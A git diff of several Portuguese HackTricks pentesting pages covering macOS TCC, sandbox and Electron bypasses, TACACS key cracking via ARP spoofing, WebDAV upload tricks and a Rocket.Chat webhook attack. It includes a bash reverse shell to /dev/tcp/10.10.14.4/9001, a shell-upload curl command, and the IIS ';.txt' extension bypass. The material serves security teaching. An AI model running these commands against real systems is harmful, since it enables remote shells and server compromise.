As resoluções de DNS são feitas através do aplicativo assinado **`mdnsreponder`**, que provavelmente será permitido a entrar em contato com servidores DNS.
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
### Via aplicativos do navegador
@ -94,7 +94,7 @@ Se você pode **injetar código em um processo** que é permitido se conectar a
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -1,6 +1,6 @@
# Binários universais do macOS e Formato Mach-O
Os binários do Mac OS geralmente são compilados como **binários universais**. Um **binário universal** pode **suportar várias arquiteturas no mesmo arquivo**.
As binários do Mac OS geralmente são compilados como **binários universais**. Um **binário universal** pode **suportar várias arquiteturas no mesmo arquivo**.
Esses binários seguem a **estrutura Mach-O** que é basicamente composta por:
@ -31,7 +31,7 @@ struct fat_arch {
};
</code></pre>
O cabeçalho tem os bytes **mágicos** seguidos pelo **número** de **arquiteturas** que o arquivo **contém** (`nfat_arch`) e cada arquitetura terá uma estrutura `fat_arch`.
O cabeçalho tem os bytes **magic** seguidos pelo **número** de **arquiteturas** que o arquivo **contém** (`nfat_arch`) e cada arquitetura terá uma estrutura `fat_arch`.
Verifique com:
@ -181,7 +181,7 @@ Exemplo de **cabeçalho de seção**:
Se você **adicionar** o **deslocamento da seção** (0x37DC) + o **deslocamento** onde o **arquitetura começa**, neste caso `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
Também é possível obter **informações de cabeçalho** a partir da **linha de comando** com:
```bash
@ -201,7 +201,7 @@ Segmentos comuns carregados por este cmd:
* `__bss`: Variáveis estáticas (que não foram inicializadas)
* `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, etc): Informações usadas pelo tempo de execução do Objective-C
* **`__LINKEDIT`**: Contém informações para o linker (dyld) como, "símbolo, string e entradas de tabela de realocação".
* **`__OBJC`**: Contém informações usadas pelo tempo de execução do Objective-C. Embora essas informações também possam ser encontradas no segmento \_\_DATA, dentro de várias seções \_\_objc\_\*.
* **`__OBJC`**: Contém informações usadas pelo tempo de execução do Objective-C. Embora essas informações também possam ser encontradas no segmento \_\_DATA, dentro de várias seções em \_\_objc\_\*.
### **`LC_MAIN`**

View file

@ -1,6 +1,12 @@
## Inspecionar Aplicações Electron
## Injeção de Aplicações Electron no macOS
De acordo com [**este**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), se você executar uma aplicação Electron com flags como **`--inspect`**, **`--inspect-brk`** e **`--remote-debugging-port`**, uma **porta de depuração será aberta** para que você possa se conectar a ela (por exemplo, do Chrome em `chrome://inspect`) e você será capaz de **injetar código nela** ou até mesmo lançar novos processos.\
O código JS de um aplicativo Electron não é assinado, então um invasor pode mover o aplicativo para um local gravável, injetar código JS malicioso e lançar esse aplicativo e abusar das permissões TCC.
No entanto, a permissão **`kTCCServiceSystemPolicyAppBundles`** é **necessária** para modificar um aplicativo, portanto, por padrão, isso não é mais possível.
## Inspeção de Aplicações Electron
De acordo com [**isto**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), se você executar um aplicativo Electron com flags como **`--inspect`**, **`--inspect-brk`** e **`--remote-debugging-port`**, uma **porta de depuração será aberta** para que você possa se conectar a ela (por exemplo, do Chrome em `chrome://inspect`) e você poderá **injetar código nele** ou até mesmo lançar novos processos.\
Por exemplo:
{% code overflow="wrap" %}

View file

@ -14,7 +14,7 @@
## Processo de carregamento do Sandbox
<figure><img src="../../../../../.gitbook/assets/image (2) (1).png" alt=""><figcaption><p>Imagem de <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>
<figure><img src="../../../../../.gitbook/assets/image (2).png" alt=""><figcaption><p>Imagem de <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>
Na imagem anterior, é possível observar **como o sandbox será carregado** quando um aplicativo com a permissão **`com.apple.security.app-sandbox`** é executado.
@ -123,13 +123,13 @@ Embora o Sandbox do macOS seja projetado para ser resistente a ataques, ele não
- **Escalada de privilégios**: o Sandbox é executado com privilégios limitados, o que significa que não pode acessar todos os recursos do sistema. No entanto, se um atacante conseguir executar código com privilégios mais elevados, ele poderá contornar o Sandbox.
- **Engenharia reversa**: o Sandbox é implementado usando uma série de políticas e restrições que são definidas em um arquivo de configuração chamado Info.plist. Se um atacante conseguir engenharia reversa nesse arquivo, ele poderá modificar as políticas e restrições para contornar o Sandbox.
- **Engenharia reversa**: o Sandbox é implementado usando uma série de políticas de segurança que são definidas em um arquivo de configuração chamado Info.plist. Se um atacante conseguir engenharia reversa nesse arquivo, ele poderá modificar as políticas de segurança e contornar o Sandbox.
- **Injeção de código**: é possível injetar código em um aplicativo no Sandbox usando técnicas como a injeção de código dinâmico (Dyld Injection). Isso pode ser usado para contornar o Sandbox e executar código malicioso no contexto do aplicativo.
- **Injeção de código**: é possível injetar código em um aplicativo no Sandbox usando técnicas como a injeção de código dinâmico (Dyld Injection). Isso pode ser usado para contornar o Sandbox, pois o código injetado não está restrito pelo Sandbox.
## Conclusão
O Sandbox do macOS é um mecanismo de segurança importante que ajuda a limitar o impacto de um possível ataque ou exploração de vulnerabilidades em um aplicativo. No entanto, ele não é perfeito e pode ser contornado por um atacante experiente. É importante estar ciente dessas técnicas de depuração e bypass do Sandbox para poder proteger melhor seus aplicativos e sistemas.
O Sandbox do macOS é um mecanismo de segurança importante que ajuda a proteger o sistema contra ataques e explorações de vulnerabilidades em aplicativos. No entanto, como vimos, o Sandbox não é perfeito e pode ser contornado por um atacante experiente. É importante estar ciente dessas técnicas de depuração e bypass do Sandbox para poder proteger melhor o sistema.
```xml
<plist version="1.0">
<dict>

View file

@ -8,7 +8,7 @@
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -38,11 +38,11 @@ Aqui você pode encontrar exemplos de como alguns malwares conseguiram contornar
* [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/)
### Manipular extensões - CVE-2022-26767
### Lidar com extensões - CVE-2022-26767
O atributo `com.apple.macl` é dado a arquivos para dar a uma determinada aplicação permissões para lê-lo. Este atributo é definido quando arrasta-se e solta-se um arquivo sobre um aplicativo, ou quando um usuário clica duas vezes em um arquivo para abri-lo com o aplicativo padrão.
Portanto, um usuário poderia registrar um aplicativo malicioso para manipular todas as extensões e chamar o Launch Services para abrir qualquer arquivo (assim, o arquivo malicioso terá acesso para lê-lo).
Portanto, um usuário poderia registrar um aplicativo malicioso para lidar com todas as extensões e chamar o Launch Services para abrir qualquer arquivo (assim, o arquivo malicioso terá acesso concedido para lê-lo).
### iCloud
@ -50,15 +50,9 @@ Com a permissão `com.apple.private.icloud-account-access`, é possível se comu
O iMovie e o Garageband tinham essa permissão e outras que permitiam.
### Bypass do Electron
O código JS de um aplicativo Electron não é assinado, então um invasor poderia mover o aplicativo para um local gravável, injetar código JS malicioso e lançar esse aplicativo e abusar das permissões do TCC.
O Electron está trabalhando na chave `ElectronAsarIntegrity` em Info.plist que conterá um hash do arquivo app.asar para verificar a integridade do código JS antes de executá-lo.
### kTCCServiceAppleEvents / Automação
Um aplicativo com a permissão `kTCCServiceAppleEvents` poderá controlar outros aplicativos. Isso significa que ele poderia ser capaz de abusar das permissões concedidas aos outros aplicativos.
Um aplicativo com a permissão `kTCCServiceAppleEvents` poderá controlar outros aplicativos. Isso significa que ele pode ser capaz de abusar das permissões concedidas aos outros aplicativos.
Para mais informações sobre Scripts da Apple, consulte:
@ -141,7 +135,7 @@ $> ls ~/Documents
As notas tinham acesso a locais protegidos pelo TCC, mas quando uma nota é criada, ela é **criada em um local não protegido**. Então, você poderia pedir para as notas copiarem um arquivo protegido em uma nota (ou seja, em um local não protegido) e, em seguida, acessar o arquivo:
<figure><img src="../../../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (18).png" alt=""><figcaption></figcaption></figure>
### CVE-2021-XXXX - Translocação
@ -298,10 +292,10 @@ exploit_location]; task.standardOutput = pipe;
```
## Por montagem
### CVE-2020-9771 - bypass do TCC mount\_apfs e escalonamento de privilégios
### CVE-2020-9771 - mount\_apfs TCC bypass e escalonamento de privilégios
**Qualquer usuário** (mesmo não privilegiado) pode criar e montar um snapshot do time machine e **acessar TODOS os arquivos** desse snapshot.\
O **único privilégio** necessário é para a aplicação usada (como o `Terminal`) ter acesso de **Acesso Total ao Disco** (FDA) (`kTCCServiceSystemPolicyAllfiles`), que precisa ser concedido por um administrador.
O **único privilégio** necessário é para a aplicação usada (como o `Terminal`) ter acesso de **Acesso Total ao Disco** (FDA) (`kTCCServiceSystemPolicyAllfiles`) que precisa ser concedido por um administrador.
{% code overflow="wrap" %}
```bash
@ -373,7 +367,7 @@ A pasta **`/var/db/locationd/` não estava protegida da montagem de DMG**, entã
Em várias ocasiões, arquivos armazenam informações sensíveis como e-mails, números de telefone, mensagens... em locais não protegidos (o que conta como uma vulnerabilidade na Apple).
<figure><img src="../../../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (16).png" alt=""><figcaption></figcaption></figure>
## Referência
@ -386,7 +380,7 @@ Em várias ocasiões, arquivos armazenam informações sensíveis como e-mails,
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -9,7 +9,7 @@ PORT STATE SERVICE
## Interceptação da chave de autenticação
Se um atacante conseguir se colocar no meio do cliente e do servidor TACACS, **ele pode interceptar a chave de autenticação** em forma criptografada e, em seguida, fazer uma força bruta local contra ela. Assim, você pode fazer a força bruta na chave e não aparecer nos logs. E se você conseguir fazer a força bruta na chave, **você poderá acessar o equipamento de rede e decifrar o tráfego** no **Wireshark**.
Se um atacante conseguir se colocar no meio do caminho entre o cliente e o servidor TACACS, **ele pode interceptar a chave de autenticação** em forma criptografada e, em seguida, fazer uma força bruta local contra ela. Assim, você pode fazer a força bruta na chave e não aparecer nos logs. E se você conseguir fazer a força bruta na chave, **você poderá acessar o equipamento de rede e decifrar o tráfego** no **Wireshark**.
### MitM
@ -27,17 +27,17 @@ Você também precisa especificar o caminho para o dicionário para fazer a for
<figure><img src="../.gitbook/assets/image (11) (2).png" alt=""><figcaption></figcaption></figure>
Agora temos que esperar um administrador fazer login no dispositivo através do servidor TACACS. Supõe-se que o administrador de rede já tenha feito login e nós, **estando no meio via ARP spoofing**, interceptamos o tráfego. E ao fazer isso, os hosts legítimos não percebem que outra pessoa interferiu em sua conexão.
Agora temos que esperar um administrador fazer login no dispositivo através do servidor TACACS. Supõe-se que o administrador de rede já tenha feito login e nós, **interceptando o tráfego via ARP spoofing**, interceptamos o tráfego. E ao fazer isso, os hosts legítimos não percebem que outra pessoa interferiu em sua conexão.
<figure><img src="../.gitbook/assets/image (8) (2).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (8) (2) (3).png" alt=""><figcaption></figcaption></figure>
Agora clique no botão **CRACK** e aguarde o **Loki** quebrar a senha.
<figure><img src="../.gitbook/assets/image (17) (2).png" alt=""><figcaption></figcaption></figure>
### Decrypt Traffic
### Decifrar Tráfego
Ótimo, conseguimos desbloquear a chave, agora precisamos descriptografar o tráfego TACACS. Como eu disse, o Wireshark pode lidar com o tráfego TACACS criptografado se a chave estiver presente.
Ótimo, conseguimos desbloquear a chave, agora precisamos decifrar o tráfego TACACS. Como eu disse, o Wireshark pode lidar com o tráfego TACACS criptografado se a chave estiver presente.
<figure><img src="../.gitbook/assets/image (28) (1).png" alt=""><figcaption></figcaption></figure>
@ -66,7 +66,7 @@ Como resultado, **temos as credenciais `admin:secret1234`,** que podem ser usada
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,8 +2,7 @@
![](<../../.gitbook/assets/image (9) (1) (2).png>)
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
Obtenha acesso hoje:
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo. Obtenha acesso hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -14,7 +13,7 @@ Obtenha acesso hoje:
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenha o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -26,9 +25,9 @@ Normalmente, para **conectar** um servidor WebDav, você precisará de **credenc
Outra configuração comum é **proibir o upload** de arquivos com **extensões** que serão **executados** pelo servidor web, você deve verificar como **burlar isso:**
* **Carregue** arquivos com **extensões executáveis** (talvez não seja proibido).
* **Carregue** arquivos **sem extensões executáveis** (como .txt) e tente **renomear** o arquivo (mover) com uma **extensão executável**.
* **Carregue** arquivos **sem extensões executáveis** (como .txt) e tente **copiar** o arquivo (mover) com **extensão executável.**
* **Carregar** arquivos com **extensões executáveis** (talvez não seja proibido).
* **Carregar** arquivos **sem extensões executáveis** (como .txt) e tentar **renomear** o arquivo (mover) com uma **extensão executável**.
* **Carregar** arquivos **sem extensões executáveis** (como .txt) e tentar **copiar** o arquivo (mover) com **extensão executável.**
## DavTest
@ -39,13 +38,13 @@ davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every
```
Saída de exemplo:
![](<../../.gitbook/assets/image (19) (1).png>)
![](<../../.gitbook/assets/image (19) (1) (1).png>)
Isso não significa que as extensões **.txt** e **.html estão sendo executadas**. Isso significa que você pode **acessar esses arquivos** pela web.
## Cadaver
Você pode usar esta ferramenta para **conectar-se ao servidor WebDav** e realizar ações (como **upload**, **mover** ou **excluir**) **manualmente**.
Você pode usar essa ferramenta para **conectar-se ao servidor WebDav** e realizar ações (como **upload**, **mover** ou **excluir**) **manualmente**.
```
cadaver <IP>
```
@ -55,43 +54,41 @@ cadaver <IP>
### Description
The HTTP PUT method is used to update a resource on a server. In the context of web applications, this method is commonly used to update files on a web server. However, it can also be used to create new resources or overwrite existing ones.
The HTTP PUT method is used to update a resource on a server. In the context of web applications, this method is commonly used to update files on a web server. The PUT method is part of the WebDAV protocol, which is an extension of the HTTP protocol that allows clients to perform remote web content authoring operations.
### Descrição
O método HTTP PUT é usado para atualizar um recurso em um servidor. No contexto de aplicações web, este método é comumente usado para atualizar arquivos em um servidor web. No entanto, ele também pode ser usado para criar novos recursos ou sobrescrever os existentes.
O método HTTP PUT é usado para atualizar um recurso em um servidor. No contexto de aplicações web, este método é comumente usado para atualizar arquivos em um servidor web. O método PUT faz parte do protocolo WebDAV, que é uma extensão do protocolo HTTP que permite que clientes realizem operações de autoria de conteúdo web remoto.
---
### WebDAV PUT
### Vulnerability
WebDAV (Web Distributed Authoring and Versioning) is an extension of the HTTP protocol that allows clients to perform remote Web content authoring operations. One of the operations that WebDAV supports is the PUT method. This method allows clients to upload files to a Web server.
The PUT method can be vulnerable to attacks if the server does not properly validate the input data. An attacker can use the PUT method to upload a malicious file to the server or overwrite an existing file with malicious content. This can lead to a compromise of the server or the web application.
### WebDAV PUT
### Vulnerabilidade
WebDAV (Web Distributed Authoring and Versioning) é uma extensão do protocolo HTTP que permite que clientes realizem operações de autoria de conteúdo Web remotamente. Uma das operações que o WebDAV suporta é o método PUT. Este método permite que os clientes façam upload de arquivos para um servidor Web.
O método PUT pode ser vulnerável a ataques se o servidor não validar corretamente os dados de entrada. Um atacante pode usar o método PUT para fazer upload de um arquivo malicioso para o servidor ou sobrescrever um arquivo existente com conteúdo malicioso. Isso pode levar a uma comprometimento do servidor ou da aplicação web.
---
### PUT Method Vulnerabilities
### Exploitation
The PUT method can be vulnerable to several attacks, including:
To exploit this vulnerability, an attacker can use a tool like cURL to send a PUT request to the server with a malicious file as the payload. The attacker can also use a web application that allows file uploads to upload a malicious file using the PUT method.
- **File upload vulnerability**: Attackers can use the PUT method to upload malicious files to a server, which can then be executed to compromise the server or steal sensitive data.
### Exploração
- **Directory traversal vulnerability**: Attackers can use the PUT method to upload files to directories outside of the intended upload directory, potentially allowing them to access sensitive files or execute arbitrary code.
Para explorar essa vulnerabilidade, um atacante pode usar uma ferramenta como o cURL para enviar uma requisição PUT para o servidor com um arquivo malicioso como carga útil. O atacante também pode usar uma aplicação web que permita o upload de arquivos para fazer o upload de um arquivo malicioso usando o método PUT.
- **Overwriting sensitive files**: Attackers can use the PUT method to overwrite sensitive files on a server, potentially causing denial of service or leaking sensitive information.
---
### Vulnerabilidades do Método PUT
### Mitigation
O método PUT pode ser vulnerável a vários ataques, incluindo:
To mitigate this vulnerability, the server should properly validate the input data and only allow authorized users to perform PUT requests. The server should also limit the size of uploaded files and restrict the types of files that can be uploaded.
- **Vulnerabilidade de upload de arquivo**: Atacantes podem usar o método PUT para fazer upload de arquivos maliciosos para um servidor, que podem ser executados para comprometer o servidor ou roubar dados sensíveis.
### Mitigação
- **Vulnerabilidade de travessia de diretório**: Atacantes podem usar o método PUT para fazer upload de arquivos para diretórios fora do diretório de upload pretendido, potencialmente permitindo que eles acessem arquivos sensíveis ou executem código arbitrário.
- **Sobrescrevendo arquivos sensíveis**: Atacantes podem usar o método PUT para sobrescrever arquivos sensíveis em um servidor, potencialmente causando negação de serviço ou vazamento de informações sensíveis.
Para mitigar essa vulnerabilidade, o servidor deve validar corretamente os dados de entrada e permitir apenas que usuários autorizados realizem requisições PUT. O servidor também deve limitar o tamanho dos arquivos enviados e restringir os tipos de arquivos que podem ser enviados.
```
curl -T 'shell.txt' 'http://$ip'
```
@ -106,7 +103,7 @@ Obtenha acesso hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Vulnerabilidade WebDav IIS5/6
## Vulnerabilidade IIS5/6 WebDav
Essa vulnerabilidade é muito interessante. O **WebDav** **não permite** o **upload** ou **renomeação** de arquivos com a extensão **.asp**. Mas você pode **burlar** isso **adicionando** ao final do nome **";.txt"** e o arquivo será **executado** como se fosse um arquivo .asp (você também pode **usar ".html" em vez de ".txt"** mas **NÃO esqueça do ";"**).
@ -130,7 +127,7 @@ ServerAdmin webmaster@localhost
AuthUserFile /etc/apache2/users.password
Require valid-user
```
Como você pode ver, há arquivos com as credenciais válidas para o servidor **webdav**:
Como você pode ver, há arquivos com as **credenciais** válidas para o servidor **webdav**:
```
/etc/apache2/users.password
```
@ -151,8 +148,8 @@ wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -13,17 +13,29 @@ const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
```
* Configure o WebHook (o canal e o nome de usuário da postagem devem existir):
* Configure o WebHook (o canal e o nome de usuário para postar devem existir):
<figure><img src="../../.gitbook/assets/image (1) (8).png" alt=""><figcaption></figcaption></figure>
* Configure o script do WebHook:
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
* Salve as alterações
* Obtenha a URL do WebHook gerado:
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
* Chame-o com curl e você deve receber o rev shell
* Chame-o com o curl e você deve receber o rev shell
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
